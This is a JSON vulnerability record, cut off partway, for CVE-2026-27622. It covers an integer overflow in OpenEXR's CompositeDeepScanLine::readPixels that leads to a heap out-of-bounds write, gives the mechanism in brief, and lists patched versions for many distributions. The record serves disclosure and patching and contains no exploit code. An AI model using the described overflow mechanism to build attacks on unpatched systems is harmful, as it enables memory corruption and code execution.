{"id":"CVE-2026-27622","aliases":["ALSA-2026:7682","ALSA-2026:8863","ALSA-2026:8888","CLSA-2026-1773831456","CLSA-2026-1774604404","CLSA-2026-1787317469","DEBIAN-CVE-2026-27622","EUVD-2026-9342","GHSA-cr4v-6jm6-4963","JLSEC-2026-141","OESA-2026-1616","OESA-2026-1617","OESA-2026-1618","OESA-2026-1619","OESA-2026-1620","OESA-2026-1685","OESA-2026-1686","OESA-2026-1687","OESA-2026-1688","OESA-2026-1689","PYSEC-2026-2846","RHSA-2026:12338","RHSA-2026:12339","RHSA-2026:12340","RHSA-2026:12341","RHSA-2026:7678","RHSA-2026:7682","RHSA-2026:8863","RHSA-2026:8869","RHSA-2026:8870","RHSA-2026:8871","RHSA-2026:8872","RHSA-2026:8888","RLSA-2026:7682","RLSA-2026:8863","RLSA-2026:8888","ROOT-OS-DEBIAN-11-CVE-2026-27622","ROOT-OS-DEBIAN-12-CVE-2026-27622","ROOT-OS-DEBIAN-13-CVE-2026-27622","SUSE-SU-2026:20936-1","UBUNTU-CVE-2026-27622","USN-8259-1","openSUSE-SU-2026:10303-1","openSUSE-SU-2026:20433-1"],"status":"published","title":"OpenEXR CompositeDeepScanLine integer-overflow leads to heap OOB write","description":"OpenEXR provides the specification and reference implementation of the EXR file format, an image storage format for the motion picture industry. In CompositeDeepScanLine::readPixels, per-pixel totals are accumulated in vector\u003cunsigned int\u003e total_sizes for attacker-controlled large counts across many parts, total_sizes[ptr] wraps modulo 2^32.  overall_sample_count is then derived from wrapped totals and used in samples[channel].resize(overall_sample_count). Decode pointer setup/consumption proceeds with true sample counts, and write operations in core unpack (generic_unpack_deep_pointers) overrun the undersized composite sample buffer. This vulnerability is fixed in v3.2.6, v3.3.8, and v3.4.6.","severity":{"version":"4.0","score":8.4,"vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00241,"percentile":0.154,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-190","CWE-787"],"published":"2026-03-02T18:30:20Z","modified":"2026-10-29T11:58:14Z","fixes":[{"ecosystem":"PyPI","package":"openexr","fixed_in":["3.2.6","3.3.8","3.4.6"],"sources":["ghsa","osv"]},{"ecosystem":"AlmaLinux:10","package":"openexr","fixed_in":["3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:10","package":"openexr-devel","fixed_in":["3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:10","package":"openexr-libs","fixed_in":["3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:8","package":"OpenEXR-devel","fixed_in":["2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:8","package":"OpenEXR-libs","fixed_in":["2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:9","package":"openexr","fixed_in":["3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:9","package":"openexr-devel","fixed_in":["3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"AlmaLinux:9","package":"openexr-libs","fixed_in":["3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr","fixed_in":["3.1.1-3.el9.tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr-devel","fixed_in":["3.1.1-3.el9.tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr-libs","fixed_in":["3.1.1-3.el9.tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr","fixed_in":["3.1.1-2.el9.tuxcare.els3"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr-devel","fixed_in":["3.1.1-2.el9.tuxcare.els3"],"sources":["osv"]},{"ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr-libs","fixed_in":["3.1.1-2.el9.tuxcare.els3"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libopenexr-dev","fixed_in":["2.2.0-11.1ubuntu1.9+tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"libopenexr22","fixed_in":["2.2.0-11.1ubuntu1.9+tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"openexr","fixed_in":["2.2.0-11.1ubuntu1.9+tuxcare.els1"],"sources":["osv"]},{"ecosystem":"TuxCare:Ubuntu:18.04","package":"openexr-doc","fixed_in":["2.2.0-11.1ubuntu1.9+tuxcare.els1"],"sources":["osv"]},{"ecosystem":"Debian:14","package":"openexr","fixed_in":["3.4.6+ds-1"],"sources":["osv"]},{"ecosystem":"Julia","package":"OpenEXR_jll","fixed_in":["3.4.8+0"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS","package":"OpenEXR","fixed_in":["3.1.11-5.oe2403"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP1","package":"OpenEXR","fixed_in":["3.1.11-5.oe2403sp1"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP2","package":"OpenEXR","fixed_in":["3.1.11-5.oe2403sp2"],"sources":["osv"]},{"ecosystem":"openEuler:24.03-LTS-SP3","package":"OpenEXR","fixed_in":["3.1.11-5.oe2403sp3"],"sources":["osv"]},{"ecosystem":"openEuler:22.03-LTS-SP4","package":"OpenEXR","fixed_in":["3.1.5-5.oe2203sp4"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.8::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.8::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_8.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.6::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:8.6::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_tus:8.6::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-11.el8_2.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-11.el8_2.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-11.el8_2.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-11.el8_2.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.2::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-11.el8_2.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_aus:8.4::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus_long_life:8.4::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_4.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"openexr","fixed_in":["0:3.1.10-8.el10_0.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux_eus:10.0","package":"openexr-libs","fixed_in":["0:3.1.10-8.el10_0.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-debuginfo","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-debugsource","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-libs","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:10.1","package":"openexr-devel","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-libs","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::appstream","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-debuginfo","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-debugsource","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-devel","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:8::crb","package":"OpenEXR-libs-debuginfo","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr","fixed_in":["0:3.1.1-2.el9_2.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-debuginfo","fixed_in":["0:3.1.1-2.el9_2.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-debugsource","fixed_in":["0:3.1.1-2.el9_2.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-libs","fixed_in":["0:3.1.1-2.el9_2.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.2::appstream","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-2.el9_2.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr","fixed_in":["0:3.1.1-2.el9_0.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-debuginfo","fixed_in":["0:3.1.1-2.el9_0.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-debugsource","fixed_in":["0:3.1.1-2.el9_0.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-libs","fixed_in":["0:3.1.1-2.el9_0.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_e4s:9.0::appstream","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-2.el9_0.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-debuginfo","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-debugsource","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-libs","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::appstream","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-debuginfo","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-debugsource","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-devel","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.4::crb","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-2.el9_4.2"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-debuginfo","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-debugsource","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-libs","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::appstream","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-debuginfo","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-debugsource","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-devel","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:rhel_eus:9.6::crb","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-3.el9_6.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-debuginfo","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-debugsource","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-libs","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::appstream","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-debuginfo","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-debugsource","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-devel","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Red Hat:enterprise_linux:9::crb","package":"openexr-libs-debuginfo","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Rocky Linux:10","package":"openexr","fixed_in":["0:3.1.10-8.el10_1.1"],"sources":["osv"]},{"ecosystem":"Rocky Linux:8","package":"OpenEXR","fixed_in":["0:2.2.0-12.el8_10.1"],"sources":["osv"]},{"ecosystem":"Rocky Linux:9","package":"openexr","fixed_in":["0:3.1.1-3.el9_7.1"],"sources":["osv"]},{"ecosystem":"Root:Debian:11","package":"openexr","fixed_in":["2.5.4-2+deb11u1.root.io.13","2.5.4-2+deb11u1.root.io.14","2.5.4-2+deb11u1.aikido.17","2.5.4-2+deb11u1.root.io.12","2.5.4-2+deb11u1.aikido.16","2.5.4-2+deb11u1.root.io.15","2.5.4-2+deb11u1.aikido.18"],"sources":["osv"]},{"ecosystem":"Root:Debian:11","package":"rootio-openexr","fixed_in":["2.5.4-2+deb11u1.root.io.13","2.5.4-2+deb11u1.root.io.14","2.5.4-2+deb11u1.aikido.17","2.5.4-2+deb11u1.root.io.12","2.5.4-2+deb11u1.aikido.16","2.5.4-2+deb11u1.root.io.15","2.5.4-2+deb11u1.aikido.18"],"sources":["osv"]},{"ecosystem":"Root:Debian:12","package":"openexr","fixed_in":["3.1.5-5.root.io.10","3.1.5-5.root.io.15","3.1.5-5.root.io.21","3.1.5-5.root.io.22","3.1.5-5.root.io.12","3.1.5-5.root.io.23","3.1.5-5.root.io.13","3.1.5-5.root.io.14","3.1.5-5.root.io.11","3.1.5-5.root.io.16","3.1.5-5.root.io.17","3.1.5-5.root.io.18","3.1.5-5.root.io.19","3.1.5-5.root.io.20","3.1.5-5.aikido.24","3.1.5-5.aikido.25"],"sources":["osv"]},{"ecosystem":"Root:Debian:12","package":"rootio-openexr","fixed_in":["3.1.5-5.root.io.10","3.1.5-5.root.io.15","3.1.5-5.root.io.21","3.1.5-5.root.io.22","3.1.5-5.root.io.12","3.1.5-5.root.io.23","3.1.5-5.root.io.13","3.1.5-5.root.io.14","3.1.5-5.root.io.11","3.1.5-5.root.io.16","3.1.5-5.root.io.17","3.1.5-5.root.io.18","3.1.5-5.root.io.19","3.1.5-5.root.io.20","3.1.5-5.aikido.24","3.1.5-5.aikido.25"],"sources":["osv"]},{"ecosystem":"Root:Debian:13","package":"openexr","fixed_in":["3.1.13-2.aikido.14","3.1.13-2.root.io.10","3.1.13-2.root.io.11","3.1.13-2.root.io.9","3.1.13-2.root.io.13","3.1.13-2.root.io.12","3.1.13-2.aikido.15"],"sources":["osv"]},{"ecosystem":"Root:Debian:13","package":"rootio-openexr","fixed_in":["3.1.13-2.aikido.14","3.1.13-2.root.io.10","3.1.13-2.root.io.11","3.1.13-2.root.io.9","3.1.13-2.root.io.13","3.1.13-2.root.io.12","3.1.13-2.aikido.15"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"openexr","fixed_in":["3.2.2-160000.5.1"],"sources":["osv"]},{"ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"openexr","fixed_in":["3.2.2-160000.5.1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:16.04:LTS","package":"openexr","fixed_in":["2.2.0-10ubuntu2.6+esm4"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:18.04:LTS","package":"openexr","fixed_in":["2.2.0-11.1ubuntu1.9+esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:20.04:LTS","package":"openexr","fixed_in":["2.3.0-6ubuntu0.5+esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:22.04:LTS","package":"openexr","fixed_in":["2.5.7-1ubuntu0.1~esm2"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:24.04:LTS","package":"openexr","fixed_in":["3.1.5-5.1ubuntu0.1~esm1"],"sources":["osv"]},{"ecosystem":"Ubuntu:Pro:26.04:LTS","package":"openexr","fixed_in":["3.1.13-2ubuntu0.26.04.1~esm1"],"sources":["osv"]},{"ecosystem":"openSUSE:Tumbleweed","package":"openexr","fixed_in":["3.4.6-1.1"],"sources":["osv"]},{"ecosystem":"openSUSE:Leap 16.0","package":"openexr","fixed_in":["3.2.2-160000.5.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"3.2.6"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.3.0"},{"fixed":"3.3.8"}]}]},{"source":"ghsa","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.4.0"},{"fixed":"3.4.6"}]}]},{"source":"osv","ecosystem":"AlmaLinux:10","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:10","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:10","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.10-8.el10_1.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"OpenEXR-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:8","package":"OpenEXR-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-12.el8_10.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"AlmaLinux:9","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9_7.1"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9.tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9.tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.6","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-3.el9.tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-2.el9.tuxcare.els3"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr-devel","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-2.el9.tuxcare.els3"}]}]},{"source":"osv","ecosystem":"TuxCare:AlmaLinux:9.2","package":"openexr-libs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.1.1-2.el9.tuxcare.els3"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libopenexr-dev","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"libopenexr22","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+tuxcare.els1"}]}]},{"source":"osv","ecosystem":"TuxCare:Ubuntu:18.04","package":"openexr-doc","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.2.0-11.1ubuntu1.9+tuxcare.els1"}]}]},{"source":"osv","ecosystem":"Debian:12","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.13-1","3.1.13-2","3.1.5-5","3.1.5-5.1","3.1.5-5.1+hurd.1","3.4.14-0.1","3.4.15+ds-1","3.4.6+ds-1","3.4.6+ds-2","3.4.6+ds-3","3.4.6+ds-4"]},{"source":"osv","ecosystem":"Debian:13","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["3.1.13-2","3.4.14-0.1","3.4.15+ds-1","3.4.6+ds-1","3.4.6+ds-2","3.4.6+ds-3","3.4.6+ds-4"]},{"source":"osv","ecosystem":"Debian:14","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.4.6+ds-1"}]}],"versions":["3.1.13-2"]},{"source":"osv","ecosystem":"PyPI","package":"openexr","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.3.0"},{"fixed":"3.2.6"}]}],"versions":["3.2.3","3.2.4","3.2.5"]},{"source":"o